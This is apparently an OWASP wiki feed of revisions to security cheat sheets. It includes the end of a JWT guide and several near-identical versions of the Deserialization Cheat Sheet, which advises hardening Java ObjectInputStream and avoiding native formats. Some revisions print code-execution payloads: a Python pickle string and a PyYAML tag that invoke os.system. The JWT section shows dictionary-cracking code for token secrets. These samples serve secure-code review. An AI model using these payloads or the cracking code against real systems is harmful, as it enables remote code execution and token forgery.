&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Code snippet to evaluate the token test base on the secret dictionary.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
final String tokenTestBase = ...;&lt;br /&gt;
final String[] secret = new String[1];&lt;br /&gt;
final DecodedJWT[] decodedToken = new DecodedJWT[1];&lt;br /&gt;
List&amp;lt;String&amp;gt; secrets = Files.readAllLines(Paths.get(&amp;quot;secrets-dictionary.txt&amp;quot;));&lt;br /&gt;
secrets.parallelStream().forEach(s -&amp;gt; {&lt;br /&gt;
 DecodedJWT tentative = checkSecret(tokenTestBase, s);&lt;br /&gt;
 if (tentative != null) {&lt;br /&gt;
   secret[0] = s;&lt;br /&gt;
   decodedToken[0] = tentative;&lt;br /&gt;
 }&lt;br /&gt;
});&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use dedicated tools ===&lt;br /&gt;
&lt;br /&gt;
You can also used [https://github.com/hashcat/hashcat/issues/1057#issuecomment-279651700 JohnTheRipper] to perform the password dictionary attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Support for [https://github.com/hashcat/hashcat/issues/1057 Hashcat] is pending.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim.manico@owasp.org&lt;br /&gt;
&lt;br /&gt;
Dominique Righetto - dominique.righetto@owasp.org&lt;br /&gt;
&lt;br /&gt;
Paul Ionescu - paul.ionescu@owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238793</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238793"/>
				<updated>2018-03-21T06:50:11Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct misspellings&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data may include 'ACED0005' in hex-ascii encoded bytes, it may suggest that the data was sent in Java serialization streams&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=237481</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=237481"/>
				<updated>2018-02-12T05:39:45Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Using Alternative Data Formats */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=235536</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=235536"/>
				<updated>2017-11-17T09:43:03Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [http://www.contrastsecurity.com/security-influencers/java-serialization-vulnerability-threatens-millions-of-applications Contrast Security] - a utility method that allows whitelisting of classes to deserialize, as well as other thresholds.&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
